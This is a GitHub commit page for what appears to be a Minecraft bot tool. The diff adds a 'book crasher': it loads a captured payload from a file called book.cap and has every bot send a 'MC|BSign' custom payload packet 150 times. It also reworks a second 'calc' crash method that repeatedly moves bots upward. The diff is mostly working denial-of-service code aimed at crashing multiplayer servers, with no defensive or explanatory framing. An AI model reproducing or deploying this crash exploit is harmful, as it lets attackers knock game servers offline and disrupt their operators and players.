Skip to content

Commit

Permalink
Started implementation of book crasher
Browse files Browse the repository at this point in the history
  • Loading branch information
UwUDev committed Feb 17, 2024
1 parent 777f026 commit a679cc3
Show file tree
Hide file tree
Showing 2 changed files with 15 additions and 2 deletions.
Binary file added book.cap
Binary file not shown.
Original file line number Diff line number Diff line change
Expand Up @@ -20,6 +20,7 @@
import com.github.steveice10.mc.protocol.data.game.entity.RotationOrigin;
import com.github.steveice10.mc.protocol.data.game.entity.player.Hand;
import com.github.steveice10.mc.protocol.data.game.entity.player.InteractAction;
import com.github.steveice10.mc.protocol.packet.common.serverbound.ServerboundCustomPayloadPacket;
import com.github.steveice10.mc.protocol.packet.ingame.serverbound.player.ServerboundInteractPacket;
import com.github.steveice10.mc.protocol.packet.ingame.serverbound.player.ServerboundMovePlayerPosPacket;
import com.mojang.brigadier.Command;
Expand Down Expand Up @@ -310,7 +311,19 @@ public void postConstruct() {

return switch (method) {
case "book" -> {
log.error("Book crash not implemented yet!");
try {

byte[] data = Files.readAllBytes(Path.of("book.cap"));
ServerboundCustomPayloadPacket packet = new ServerboundCustomPayloadPacket("MC|BSign", data);
forEveryBot((bot) -> {
for (int i = 0; i < 150; i++) {
bot.sessionDataManager().sendPacket(packet);
}
return Command.SINGLE_SUCCESS;
});
} catch (IOException e) {
log.error("Failed to read book.cap", e);
}
yield Command.SINGLE_SUCCESS;
}
case "calc" -> {
Expand All @@ -326,7 +339,7 @@ public void postConstruct() {
double botY = bot.sessionDataManager().clientEntity().y();
double botZ = bot.sessionDataManager().clientEntity().z();

for (int i = 0; i < 36; i++) {
while (botY < 256) {
botY += 9;
ServerboundMovePlayerPosPacket packet = new ServerboundMovePlayerPosPacket(
true,
Expand Down

0 comments on commit a679cc3

Please sign in to comment.